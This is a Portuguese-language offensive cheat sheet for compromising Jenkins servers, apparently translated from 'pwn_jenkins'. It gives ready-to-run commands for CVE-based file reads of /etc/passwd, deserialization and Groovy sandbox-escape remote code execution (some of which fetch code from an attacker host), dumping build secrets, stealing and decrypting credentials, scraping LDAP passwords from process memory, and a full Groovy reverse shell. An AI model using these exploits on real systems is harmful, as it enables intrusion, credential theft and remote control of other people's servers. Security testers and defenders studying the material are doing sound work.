Execução Remota de Código

Leitura arbitrária via CLI do Jenkins (CVE-2024-23897 se aplica a versões anteriores à 2.442 e LTS 2.426.3)

Autenticado, é possível recuperar um arquivo completo:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Não autenticado ou sem permissões Global/Read, só é possível ler 3 linhas: Leia a primeira linha:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Leia a segunda linha:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Leia a terceira linha:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

Como fazer bruteforce da chave de criptografia de credenciais.

RCE por desserialização em Jenkins antigo (CVE-2015-8103, Jenkins 1.638 e anteriores)

Use ysoserial para gerar um payload. Em seguida, execute o RCE usando este script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Bypass de autenticação/ACL (CVE-2018-1000861, Jenkins <2.150.1)

Aviso do Jenkins

Detalhes aqui.

Se o Jenkins solicitar autenticação, mas retornar dados válidos usando a seguinte requisição, ele está vulnerável:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

RCE por metaprogramação em plugins do Jenkins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Aviso do Jenkins

Vulnerabilidade RCE original aqui, exploit completo aqui.

RCE alternativo com permissões Overall/Read e Job/Configure aqui.

RCE via CheckScript no Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Aviso do Jenkins, Créditos.

Verifique se uma instância do Jenkins está vulnerável (requer permissões Overall/Read) com um pouco de Groovy:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Nota: Se você receber um erro 403 reclamando de um crumb ausente (que é uma proteção CSRF no Jenkins), você pode obter o valor do crumb com uma requisição GET para https://example.com/crumbIssuer/api/json. O valor do crumb deve então ser adicionado à requisição POST em um cabeçalho Jenkins-Crumb.

Execute comandos bash arbitrários:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Se você não obtiver imediatamente um reverse shell, pode depurar lançando uma exceção:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

RCE no plugin Git (<3.12.0) do Jenkins (CVE-2019-10392)

Aviso do Jenkins, Créditos.

Este só funcionará se um usuário tiver os direitos 'Jobs/Configure' na matriz de segurança, portanto é bem específico.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Aviso do Jenkins, Créditos

Observe que isso só é explorável se estiver usando um Update Center dedicado e desatualizado. Portanto, a maioria dos servidores não está vulnerável.

Extraindo builds para encontrar segredos em texto claro

Use este script para extrair saídas de console e variáveis de ambiente dos builds, na esperança de encontrar segredos em texto claro.

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Spray de senhas

Use este script python ou este script powershell.

Arquivos para copiar após o comprometimento

Esses arquivos são necessários para descriptografar os segredos do Jenkins:

secrets/master.key
secrets/hudson.util.Secret

Esses segredos geralmente podem ser encontrados em:

credentials.xml
jobs/.../build.xml

Aqui está uma regexp para encontrá-los:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Extraindo credenciais LDAP em uma máquina comprometida

Se o Jenkins estiver configurado para verificar as credenciais de usuário encaminhando-as para um LDAP (o que é um absurdo, mas uma vulnerabilidade comum em empresas), é possível recuperar essas credenciais de usuário em texto claro despejando a memória do processo Java. Supondo o PID 7 para o servidor Jenkins, o loop a seguir fará um despejo de memória da stack a cada 30 segundos:

head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done

Um pequeno atraso é importante porque o coletor de lixo liberará regularmente as estruturas de credenciais.

Descriptografar segredos do Jenkins offline

Use este script para descriptografar segredos previamente extraídos.

Usage:
	jenkins_offline_decrypt.py <jenkins_base_path>
or:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
	jenkins_offline_decrypt.py -i <path> (interactive mode)

Scripts Groovy

Descriptografar segredos do Jenkins a partir do Groovy

println(hudson.util.Secret.decrypt("{...}"))

Execução de comandos a partir do Groovy

def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Comando shell multilinha que pode incluir pipes, redirecionamentos e outras coisas:

def proc = ['bash', '-c', '''your_long_command_here'''].execute();

Automatize-o usando este script.

Execução de comandos em um slave específico

Por padrão, a execução acontece no nó master. Use este script para executar em um slave específico:

import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins

String agent_name = 'slave_name'

groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''

String result
Jenkins.instance.slaves.find { agent ->
    agent.name == agent_name
}.with { agent ->
    result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result

Reverse shell a partir do Groovy

String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Vou deixar esta dica de reverse shell para recuperar um PTY totalmente funcional aqui, caso alguém precise:

python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy

pwn_jenkins

Mais Populares